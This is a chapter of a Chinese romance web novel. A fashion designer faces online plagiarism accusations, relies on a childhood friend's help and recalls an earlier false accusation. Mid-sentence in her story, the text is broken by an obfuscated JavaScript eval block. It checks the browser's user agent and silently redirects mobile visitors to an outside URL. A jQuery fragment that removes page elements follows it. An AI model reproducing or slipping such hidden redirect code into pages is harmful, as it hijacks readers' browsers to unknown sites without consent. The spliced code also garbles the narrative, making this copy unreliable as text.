陈叙宁还在睡梦中,周末她给工作室放了假,大家都好好休息休息,一通电话扰乱了来之不易的片刻。
这几天她都没敢电话静音,就怕有什么事,这会儿铃声一响她就醒了,还没睡醒,眯着眼睛声音沙哑:“喂?”
那边好一会儿才说话:“还没起床?”
是纪时珩的声音,陈叙宁懒懒地将手机放一边,用气声“嗯”了一声。
他说了一些废话,她以为又是来查岗的,左耳朵进右耳朵出,差点又要睡过去,结果最后一句让她彻底清醒过来。
“网上那些东西你不要在意,交给我。”
陈叙宁唰地睁开眼,这什么意思?
她挂掉电话一看,通知栏都要爆炸了,点开vx全是红点,连刘姐也给她发信息问她什么情况。
陈叙宁:我刚醒,怎么了?
刘忆茹隔了几秒给她转了个新闻过来,让她看看。
还没点进去,她就被封面上的“抄袭”二字刺了下眼睛,点进去手机页面自动跳转到国内主流舆论平台Vexel,她撑着床坐起来靠在床头认真看起来。
通篇读下来,只有一个一件事,就是陈叙宁抄袭了他,尤其是那套裙子,借鉴了他的风格。
底下有人评价。
1L:支持维权!
2L:抄袭可恶,抵制抄袭,支持维权!
3L:我当时就觉得她那风格眼熟,果然是抄的
4L:就我觉得抄也抄得不怎么好看吗,也就小女生会喜欢了
5L:也是见证变脸时刻了,不过借鉴很正常吧,何况还是设计这方面,感觉网上很多大牌衣服礼服都很像,不都是互相借鉴模仿来的吗
6L:我还说巴黎世家抄了我家塑料袋呢
7L:有些人能不能就被替抄袭者说话了啊,在这里插诨打科,人家原主都出来讨伐了,借鉴模仿就是抄袭,支持维权,告死她!
8L:又来互联网升堂了,直接告呗
……
陈叙宁眉毛紧紧皱着,倒也还算平静,只是心跳得很快,其中有些人说的话实在难听。
借着这个口子把她的作品批评得一无是处,更是对她本人加以辱骂,她都没再往下看,怕还能看到些别的不堪入目的。
她点进工作室账号,发现在早上酒店的时候发了几条动态,表示对陈叙宁女士以及她工作室的造谣辱骂均已取证,互联网需要一个良好的氛围,请大家谨言慎行。
陈叙宁不用想这肯定是纪时珩的手笔,小戴哪有这本事。
这段时间纪时珩早已用美食收买了她,每次陈叙宁不回信息的时候,他就会去找她,这会儿应该是纪时珩找她要了号发的,她点开评论区。
1L:那你倒是证明你没抄啊,发个律师函吓唬谁呢?
2L:没看见说是造谣吗?有些人还嘴硬,等着收律师函吧,打到自己身上就知道疼了
3L:吃瓜,感觉事情还会有转机
陈叙宁叹了口气,自己打开草稿箱,舔了舔发涩的嘴唇,深呼吸,费了点时间编辑了一段话出去。
陈叙宁工作室:
【没有借鉴,更没有抄袭,还望对方给出证据。我后续会将草图成衣细节等放上来,大家可以自行判断。并且我很早之前便画过类似的,那我是不是可以说您在抄袭我?】
此言一出,评论又炸了,大家见她如此硬气,不少有人转而支持她。
陈叙宁放下手机,蜷了蜷发麻颤抖的右手,呼出一口气,起床刷牙,买点早餐先填饱肚子再说,别把自己饿晕了。
她边吃边打电话,小戴那边说工作室信息都要爆炸了,全是来要解释的,还有好多人退单要赔偿。
“退单可以,赔偿没有,多的也不用说了。”
本来就没有抄袭,何来赔偿?她甚至连单都可以不退的,但想着退了也好,也免得一直纠缠。
刚挂完小戴的电话,纪时珩就打了过来,听见她嚼东西的声音,问道:“在吃早餐?”
陈叙宁吸了一口豆浆,“嗯”了声。
他听她语气还挺好,心想自己也是白担心了,还被她抱怨了一顿。
“你下次有什么动作要提前和我说啊,先斩后奏的套路现在不管用了知道吗。”
纪时珩不吭声。
陈叙宁老气横秋地叹了口气:“有事大家一起商量,你总想着替我解决算什么,总不能还像小时候那样,我又不是没长嘴。”
纪时珩的独权在高中展现得淋漓尽致,有什么事她本人都不知道,等人后来提起才知道。
比如有好几次许笑蓝刚好来她家这边吃酒席,顺路来找她玩,她那会儿刚好在厕所,结果一出来人走了,后来问起来才知道是纪时珩说她那天肚子不舒服不是很想出去玩,她才走的。
还有一次,是许笑蓝在教室外面亲眼看着纪时珩趁她不在,从她课桌里把别人给她的情书拿出来,还坐在她的位置上从头到尾读完了,最后撕掉丢进了垃圾桶。
她就说为什么班里那个男生老盯着自己,还一副欲言又止的模样。
这样的事还有很多,每次他都会擅作主张地替她做决定,也不管她是什么想法,最后总有理由可说,即使有时候她确实是那样想的,但就是不太舒服。
纪时珩他管得太多了。
长大后有所收敛,却依旧本性不改。
纪时珩不置可否,只说他那边的公关会法务会配合她行动,陈叙宁没拒绝,他公司的团队肯定比自己请的厉害,有现成的资源在不用白不用。
她花了将近一下午的时间整理材料,还将自己和余烦的思路一齐po了上去,做了一个完整的时间条,并表示是单主看到了她曾经的作品,指名找她定制的。
谢泠也出来作证,表示很早就知道她了,很喜欢那个账号的风格内容,相信她不会抄袭。
陈叙宁真的特别感激她,愿意出来帮忙说话,对于将她牵扯进这场风波里也很抱歉。
因为她给出的解释和时间条都井井有条,不少人开始站她这边。
她松了好大一口气,但又不敢完全松下去,吃饭也想着这事,心想今年这么就这么倒霉呢,什么牛鬼蛇神都缠上来了。
饭是纪时珩叫江助送过来的,她现在可爽,外卖都不用自己动手点了,每天待在工作室和家里,就有免费美食送上门来。
陈叙宁很难形容当下这种场景,他乐意送就送吧,她刚打开包装袋,就收到了他的视频,这次都不是电话了是视频,她把手机架到一边对着自己。
她吃了一口面,看向他那边,背景还是办公室,他脸也不露,就对着他那个实木书柜,让她看空气。
“你还没下班?”她问。
“嗯。”
“吃饭没有?”
纪时珩没回应,陈叙宁把面咬断吸溜进肚子里,说:“你有空给我买,自己没空吃饭?”
“让江助给你也买一份,都快七点了!”
纪时珩的脸忽然出现在屏幕里,说了句“好”。
陈叙宁又埋头吃了几口,但嚼的时候筷子拨来拨去,眉头紧锁着,又去想那事去了,想着想着谁知随意一瞥,就和他对上了眼。
那双眼里黑黑沉沉,陈叙宁端着碗一脸莫名,问他看着她干什么。
“没干什么,就觉得你变了很多。”他说。
陈叙宁嘴角歪了一下,指尖捏紧筷子,缓慢地开口:“是吗?”
“会让我思考你是不是不需要我了。”他半垂着眼睑,一字一句说得很低,尾音甚至有点低落的味道。
她不懂他这股落寞情绪怎么来的,只道遭了,小时候就最吃他这套,他居然重操旧业。
这副模样在她眼里就跟卖萌没区别!
她皱着眉,声音不自觉也跟着放轻:“也没有,你也帮了我很多啊,我想表达的是以后有什么事我们要一起商量,一起你懂吗?”
说完她两只手握在一起晃了晃,纪时珩看了眼勉强地牵了下嘴角又垂下了眼睛,长长的睫毛轻轻抖了一下。
干嘛干嘛!
陈叙宁忍住不被他迷惑,埋头吃面,没想到吃完后他还是那个表情,她干脆把筷子一放,换了个姿势坐着,说:“我跟你讲个故事吧。”
也不管他想不想听,自顾自讲起来。
“其实我大四那年,也被人污蔑过抄袭,说我的毕设抄了国外某大牌秀款,差点影响我毕业,”她苦笑,说到后面声音有些止不住地颤抖急促,“那是我花了好几个月赶出来的,结果人家一句轻飘飘的‘和什么什么好像’就反驳了我所有努力,最后还惊动了院长,所有人都来拷问我一个,最可笑的是,我甚至都没看过那场秀。”
“后来这件事还是我的专业课老师出来为我做了担保,这件事也就草草过去了。”
陈叙宁放在桌下的手和腿抖个不停,只能借着换姿势来掩饰,幸好他看不到她这副糟糕模样。
“我之后就很后悔,甚至恨自己不会说话,最后连一句道歉都没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651986|206431||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得到。”这么多年过去,她还是很不甘心。
“事教人,一次就够,所以这次,就算我心里再慌再急,也要拼命让自己冷静下来,整理证据逐一反驳对方。”
陈叙宁说到这里,胸膛重重起伏,长长吁了口气,才勉强把情绪压下去。
抬眼看去,不知道什么时候,屏幕变黑了,可她自己还在,是纪时珩那边遮住了摄像头。
她搓了搓自己的脸,借着动作偷偷抹去眼尾那一点湿润,调整好自己的心情后开始收拾桌上的东西,弯腰套垃圾袋时听到了一声叹息:
“以后不会了。”
很轻很轻,在安静的空气里却显得沉甸甸的。
纪时珩说不清自己什么情绪,离开他后的陈叙宁看起来过得并不好。
离家出走的小兔跌进了泥坑,浑身脏兮兮的,还笑着说:看,我成长了。
他掩去眼里的不解、后悔和怜惜,重新出现在镜头前,只说:“早点休息。”
陈叙宁愣了下,点点头说“好”,最后嘱咐他赶紧吃饭后才挂了视频。
她这一晚睡得不怎么好,隔日天微微亮就醒了,望着天花板愣神,思路好一会儿才清洗起来,她揉了揉有些酸胀的太阳穴,打开手机。
对方还没回复她,一些关于她的爆料却传了出来。
陈叙宁瞳孔骤然放大,连手机都差点没握住。
他们怎么敢……怎么敢的?
扣着手机的指尖泛白,她几乎是自虐般地看着上面那些长篇大论,眼眶发热,视线渐渐模糊,蓦地,一滴眼泪落在手机屏幕上,放大了上面的字。
[她是个惯犯了,当年的毕设也是抄的,花季雨季系列也是抄的,居然让她蒙混过去了,还拿了第一名,太可笑了,绝对有背景。]
[我靠真的假的,我特别喜欢花季雨季,那是我高中时候的少女幻想,千万不要是抄的啊呜呜……]
[这到底何方圣胜啊,大动刀戈的,还出动了一堆营销号。]
[不是,主要是她当年那个花季雨季真的很出圈,很多人都喜欢,当年我五年级的妹妹还硬要我给她买一件一模一样的来着,我给她在网上买的盗版,网上倒是挺多人抄她的。]
[我刚看了,不就几件裙子吗,还少女幻想,没见过好东西吧?]
[话题是不是跑偏了,我想问一下,她抄谁的了,证据呢,现在都流行空口鉴抄了吗?]
[好像融了很多人的,能看到很多品牌的影子]
……
眼泪两三滴接连砸在屏幕上,如同雨水般往下流淌,留下一道道蜿蜒扭曲的痕迹。
那些评论一句一句钻入她的脑海里,她本来以为自己够强大了,可那道为自己而筑的墙隐隐有了开裂的预兆。
这时,那个最开始冒头的设计师出来回应了,像是早有准备,向陈叙宁提出了两问:怎么证明那个账号是她的?怎么证明她画那种风格的时间早于他?
他不希望只看到一些口头上的解释,想让陈叙宁拿出图片录屏证据来。
一波未平一波又起,一件件事情打得她措手不及,不断往墙上砸,不把她击溃不罢休。
可就在下一秒,这些通通被撤下,连最初那个人发的动态也都删掉了,好似这些都没出现过,如同错觉。
陈叙宁眨了下眼,颤抖着按灭手机,下床打开衣柜。
左边一小半是她自己堆起来的衣服,而右边一大半几乎是四分之三的空间被几件套着定制防尘袋的衣服裙子霸占,防尘袋上还印着当年大赛的logo和编号。
她慢慢打开,一套长衣长裤,一套长衣中分裤,一套短衣短裤,两套裙子。
属于雨季的绿色蓝色占据了大篇幅,偶尔一点灰色点缀,连绵雨天,少女愁绪;属于花季的粉色橙色交织,明媚鲜活,热烈青涩。
花从泥土中破土而出,雨水落下,点点滴滴压弯了它的枝桠,直到雨后天晴,它吸收了所有雨珠,焕然一新,绽放出最耀眼的颜色。
雨雾花瓣等元素很好地融入了作品中,属于少年人的情绪呼之欲出,让评委席眼前一亮。
这便是她当时耗尽心血做出的作品,那是她对于青春的回答,更是送给那时无助的自己的一份礼物和精神寄托。
结果现在被他们这样造谣,陈叙宁心中一团乱麻,好似被藤蔓缠绕,在一点一点地收紧,让人窒息。
她眼神放空,望着它们发呆,以至于忽略了一边响动不停的手机,还有门外急促的敲门声。